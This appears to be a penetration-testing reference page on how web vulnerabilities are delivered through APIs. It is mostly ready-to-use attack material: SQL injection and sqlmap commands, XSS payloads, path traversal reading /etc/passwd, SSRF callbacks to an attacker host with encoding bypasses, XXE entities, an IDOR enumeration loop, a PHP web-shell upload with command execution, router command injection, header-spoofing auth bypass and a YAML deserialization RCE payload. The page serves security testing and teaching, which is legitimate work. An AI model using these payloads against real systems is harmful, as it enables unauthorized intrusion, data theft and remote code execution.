Skip to content

API Vuln Context

Every classical web vulnerability can appear through an API surface - the substance is the same, the delivery channel and encoding are different. This page captures the API-specific deltas; the canonical attack mechanics live in their dedicated clusters.

# Same vuln class, different delivery
SQLi via SOAP <username>'; UNION SELECT * FROM users--</username>
XSS via REST /api/echo/<script>... after URL-encoding bypasses naive filters
LFI via API ?filename=../../../etc/passwd (URL-encoded slashes)
SSRF via API ?id=<base64>http://attacker:4444</base64>
XXE via JSON→XML content-type pivot, or any XML-body API
IDOR via REST /api/users/<id> (textbook, see IDOR cluster)
Upload via POST /api/upload/ with .php Content-Type: application/x-php
Cmd inj via API parameter reaching system()/shell_exec()

Success indicator depends on the underlying vuln class - see the linked cluster for each.

The classical web-app vulnerability literature assumes a browser-driven HTML form submitting URL-encoded data. APIs change three things about that picture:

Dimension Classical web app API
Body format application/x-www-form-urlencoded JSON, XML, multipart, binary
Discovery Crawl HTML, find forms WSDL, OpenAPI, GraphQL introspection, JS bundle reading
Parameter location URL query or form body Any of: URL path segment, URL query, JSON body field, XML element, HTTP header, custom binary frame
Encoding URL-encoded Whatever the format dictates - often double-encoded or base64’d
Reflection Page-rendered HTML Usually JSON response (no HTML reflection - XSS rarer but not zero)

The vulnerability mechanics don’t change. The delivery has to adapt to the format. This page covers the adaptation.

The substance: untrusted input concatenated into a SQL query. The API delta: input arrives via a SOAP parameter, JSON field, GraphQL argument, or REST path/query - not a form field.

The classic. The SOAP envelope’s parameter elements behave exactly like form fields:

<soap:Body>
<LoginRequest xmlns="http://tempuri.org/">
<username>' UNION SELECT username, password FROM users-- -</username>
<password>anything</password>
</LoginRequest>
</soap:Body>

Same payload class as form-based injection. SQLMap supports SOAP:

Terminal window
$ sqlmap -u http://target:3002/wsdl \
--data='<soap:Envelope>...<username>*</username>...</soap:Envelope>' \
--dbms sqlite --level 5 --risk 3

The * marks the injection point. SQLMap recognizes SOAP body structure and tests each marked parameter.

POST /api/search HTTP/1.1
Content-Type: application/json
{"query": "test' OR '1'='1", "limit": 10}

SQLMap handles JSON:

Terminal window
$ sqlmap -u http://target/api/search \
--data='{"query":"*", "limit":10}' \
--headers='Content-Type: application/json'
http://target/api/users/1' UNION SELECT password FROM users-- -

Trickier because URL-special characters need encoding:

http://target/api/users/1%27%20UNION%20SELECT%20password%20FROM%20users-- -

The shell context for crafting these is essentially:

Terminal window
$ urlencode "1' UNION SELECT password FROM users-- -"
1%27%20UNION%20SELECT%20password%20FROM%20users--%20-

See the SQLi cluster for the mechanics. See SQLMap request setup for non-standard request shapes (JSON body, SOAP envelope, custom headers).

The substance: untrusted input rendered as HTML in a context that executes JavaScript. The API delta: API responses are usually JSON - no HTML rendering - but there are exceptions.

Some APIs return HTML error pages, status pages, or auto-generated documentation that reflects request parameters:

GET /api/download/<script>alert(1)</script> HTTP/1.1
<p>Sorry, file "<script>alert(1)</script>" not found</p>

The naive payload often gets escaped. Try URL-encoded variants:

http://target/api/download/%3Cscript%3Ealert(1)%3C%2Fscript%3E

Some servers decode once during routing, fail to escape on output → URL-encoded form bypasses naive HTML-encoding filters. See XSS to session.

When the API renders error pages with reflection

Section titled “When the API renders error pages with reflection”

The “value not found” / “invalid parameter” error pattern reflects input:

GET /api/lookup?id=<svg onload=alert(1)>
<error>ID '<svg onload=alert(1)>' is not valid</error>

If the error response is Content-Type: text/html, the payload fires in any browser that fetches it (XS-Search / XS-Leaks style attacks). If the response is Content-Type: application/json, the payload doesn’t fire automatically - but a victim’s browser-side code that JSON.parses and renders the error message may execute it.

The harder-to-spot variant: the API stores attacker-controlled data, the frontend SPA later fetches it and renders. The XSS fires when the frontend renders the API response, even though the API itself is “just JSON”:

POST /api/profile HTTP/1.1
{"display_name": "<img src=x onerror=alert(1)>"}
# Later, when admin views the user list, the frontend does:
# document.getElementById('name').innerHTML = data.display_name ← XSS here

This is the canonical “stored XSS through an API” pattern. The vulnerability sits at the frontend-renders-API-data join, not in either component alone.

The substance: untrusted input reaches a file-open operation on the server. The API delta: usually a filename/file/download parameter in the URL or body.

GET /api/download/..%2f..%2f..%2fetc%2fpasswd HTTP/1.1

Or:

GET /api/download?file=../../../etc/passwd HTTP/1.1

Same primitive as classical LFI. The URL-encoded slashes (%2f) often pass through API routing that would reject literal ../ due to path normalization.

Terminal window
$ curl 'http://target/api/download/..%2f..%2f..%2fetc%2fpasswd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

See LFI cluster for the payload catalog (PHP wrappers, log poisoning, etc.).

POST /api/get-file HTTP/1.1
Content-Type: application/json
{"path": "/etc/passwd"}

Often less defended than URL parameters because input validation typically focuses on URL-level filtering.

The substance: the server fetches a URL the attacker chooses. The API delta: API parameters frequently accept URLs by design (webhook callbacks, avatar URL fetchers, link previews) and the encoding may be non-obvious.

GET /api/userinfo?id=http://attacker:4444/ HTTP/1.1

Often rejected with “id parameter is invalid” - the API expects a structured ID, not a URL. The encoding trick:

Terminal window
$ echo "http://attacker:4444/" | base64
aHR0cDovL2F0dGFja2VyOjQ0NDQv
$ curl 'http://target/api/userinfo?id=aHR0cDovL2F0dGFja2VyOjQ0NDQv'

The API may decode id as base64 internally, treat the decoded value as a URL, fetch it. Listener receives the callback.

When the obvious URL pattern is rejected:

Encoding Example
Plain http://attacker:4444/
URL-encoded http%3A%2F%2Fattacker%3A4444%2F
Double URL-encoded http%253A%252F%252Fattacker%253A4444%252F
Base64 aHR0cDovL2F0dGFja2VyOjQ0NDQv
Hex 687474703a2f2f61747461636b65723a343434342f
JSON-string-escaped "http:\/\/attacker:4444\/"
Object reference {"url": "http://attacker:4444/"} instead of bare string

For each encoding, watch your listener for callbacks. The encoding that succeeds tells you something about the API’s internal flow - often base64 means “this parameter is normally a token but the back-end blindly trusts decoded content as a URL.”

See SSRF cluster for the full attack catalog (internal scanning, cloud metadata, etc.).

The substance: an XML parser resolves external entities the attacker declares. The API delta: any XML-receiving API is a target, plus the Content-Type pivot for JSON APIs.

POST /api/login/ HTTP/1.1
Content-Type: text/plain;charset=UTF-8
<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<email>&xxe;</email>
<password>any</password>
</root>

The API parses the XML body, resolves the entity, includes /etc/passwd content in the request processing. See XXE cluster.

A JSON API may also accept XML on Content-Type: application/xml:

POST /api/users HTTP/1.1
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE pwn [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

The JSON-converter library on the back-end (Jackson, Symfony Serializer, ASP.NET ModelBinder) may transparently dispatch to an XML parser when Content-Type is XML. The XXE fires before any JSON-specific validation runs.

See XXE Identifying for the full Content-Type pivot discussion.

The substance: the server trusts a client-supplied identifier without checking authorization. The API delta: REST URLs make IDOR more visible (/api/users/74) and more common (every CRUD endpoint is an IDOR candidate by default).

REST APIs are the canonical IDOR surface. Every /api/<resource>/<id> route deserves substitution testing:

Terminal window
$ curl -b 'session=mine' http://target/api/users/74 # baseline (own)
$ curl -b 'session=mine' http://target/api/users/75 # foreign
$ for i in $(seq 1 1000); do
curl -b 'session=mine' "http://target/api/users/$i"
done > all-users.json

See IDOR Identifying and IDOR Mass enumeration for the full catalog.

The substance: the server accepts an attacker-controlled file without validating its type/content correctly. The API delta: API uploads bypass HTML form constraints (no accept= attribute, no JavaScript-side validation), so the Content-Type sent is whatever the attacker chooses.

POST /api/upload/ HTTP/1.1
Content-Type: multipart/form-data; boundary=---xxx
-----xxx
Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: application/x-php
<?php system($_REQUEST['cmd']); ?>
-----xxx--

The Content-Type: application/x-php is set by the attacker - no browser would default to that. Servers that trust client-supplied Content-Type fail open immediately. The response usually returns the saved file’s URL:

{"success": true, "url": "http://target/uploads/backdoor.php"}

Then:

Terminal window
$ curl 'http://target/uploads/backdoor.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

See Uploads cluster for the complete bypass catalog.

The substance: untrusted input flows into a shell command. The API delta: API parameters often reach system()/shell_exec()/exec() calls in router-style code that uses call_user_func_array or equivalent dynamic dispatch.

The typical pattern:

<?php
// Vulnerable router
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
$parts = explode('/', $_SERVER['PATH_INFO']);
call_user_func_array($parts[1], array_slice($parts, 2));
}
?>

Intended use: GET /api/ping/8.8.8.8/3 calls ping('8.8.8.8', '3').

Abuse: GET /api/system/ls calls system('ls'). The first path segment is treated as the function name; subsequent segments are arguments.

Terminal window
$ curl http://target/api/system/id
uid=0(root) gid=0(root) groups=0(root)
$ curl 'http://target/api/system/cat%20%2Fetc%2Fpasswd'
root:x:0:0:root:/root:/bin/bash
...

The vulnerability is the dynamic-dispatch router (call_user_func_array with attacker-controlled function name), not the ping function’s input validation. The route never reaches the ping function. See Command injection cluster.

API authentication tends to use bearer tokens, API keys, or HMAC signatures rather than session cookies. Each has its own attack patterns:

Mechanism API-specific weaknesses
Bearer tokens Leaked tokens in logs / Referer headers / GitHub commits; token without expiry; JWT signing weaknesses
API keys Hardcoded in mobile apps / JS bundles; checked-in to public repos; not bound to IP / origin
HMAC signatures Replay attacks when nonce isn’t enforced; signature-bypass tricks (sending without signature on endpoints that don’t validate); weak hash algorithms (HMAC-MD5)
OAuth flows redirect_uri validation gaps; PKCE bypass; client_secret in frontend code
mTLS Server doesn’t validate client cert subject; cert pinning bypass in mobile

For JWT specifically, see JWT attacks. For session-style attacks adapted to API context, see Sessions cluster.

Rate limiting / authentication header tricks

Section titled “Rate limiting / authentication header tricks”

Many APIs apply rate limiting by IP or by API key. Bypass paths:

When the API server respects X-Forwarded-For or similar for rate-limit / authentication:

GET /api/admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1

Internal-only endpoints sometimes whitelist 127.0.0.1 and any of these headers, set by an attacker, satisfies the whitelist.

<?php
// Vulnerable whitelist check
$whitelist = array("127.0.0.1", "1.3.3.7");
if (!in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
print("Hello Developer team! ...");
?>

X-Forwarded-For: 127.0.0.1 bypasses the check completely.

For rate-limited endpoints where one token has a per-hour budget:

Terminal window
# Rotate through multiple test accounts
for token in $TOKEN1 $TOKEN2 $TOKEN3; do
curl -H "Authorization: Bearer $token" http://target/api/...
done

Or rotate IPs via proxy chains (Tor, residential proxies, etc.) - beyond the scope of this page.

A relatively novel API-specific attack class: the API accepts multiple formats (JSON, XML, MessagePack, YAML) and parsing differs.

POST /api/login HTTP/1.1
Content-Type: application/yaml
username: admin
password: !!python/object/apply:os.system ["id"]

If the back-end uses Python’s yaml.load() (deprecated) instead of yaml.safe_load(), the !!python/object/apply: directive executes os.system("id") at parse time - RCE before any application logic runs.

The same pattern with different formats:

Format Vulnerable parser
YAML Python yaml.load, Ruby YAML.load (older)
Pickle Python pickle.loads() on untrusted data - always RCE
Java serialized ObjectInputStream.readObject() on untrusted bytes - classic ysoserial chain
.NET BinaryFormatter Equivalent .NET vuln
PHP serialize unserialize() with magic methods (__wakeup, __destruct)
MessagePack Generally safe but custom ext-types sometimes deserializable

When you find an API that accepts multiple formats via Content-Type, try each - the lesser-traveled format is often the one with the deserialization bug.

This bridges into deserialization attacks, which are large enough for their own cluster (a candidate for a future round).

Vuln class API delivery pattern Canonical cluster
SQL injection Body element, JSON field, URL path segment SQLi
XSS API error reflection, stored-then-rendered, URL-encoded payload XSS to session
LFI URL-encoded ../, filename= JSON field LFI
SSRF URL parameter, base64-encoded URL, JSON-shaped URL SSRF
XXE XML-body API, JSON→XML Content-Type pivot XXE
IDOR REST /api/<resource>/<id> substitution IDOR
File upload POST with attacker-chosen Content-Type Uploads
Command injection API parameter into shell, dynamic-dispatch router Command injection
Auth bypass via headers X-Forwarded-For: 127.0.0.1, etc. (this page above)
Deserialization YAML/Pickle/Java/PHP/messagepack via Content-Type future cluster
ReDoS Long crafted strings against vulnerable regex ReDoS
WordPress XML-RPC abuse xmlrpc.php brute / pingback / multicall WP XML-RPC
SOAPAction spoofing Body operation ≠ header SOAPAction SOAPAction spoofing

For the standalone API-specific topic (ReDoS), see ReDoS. For the capstone chain (SOAPAction spoofing + SQL injection), see Capstone chain.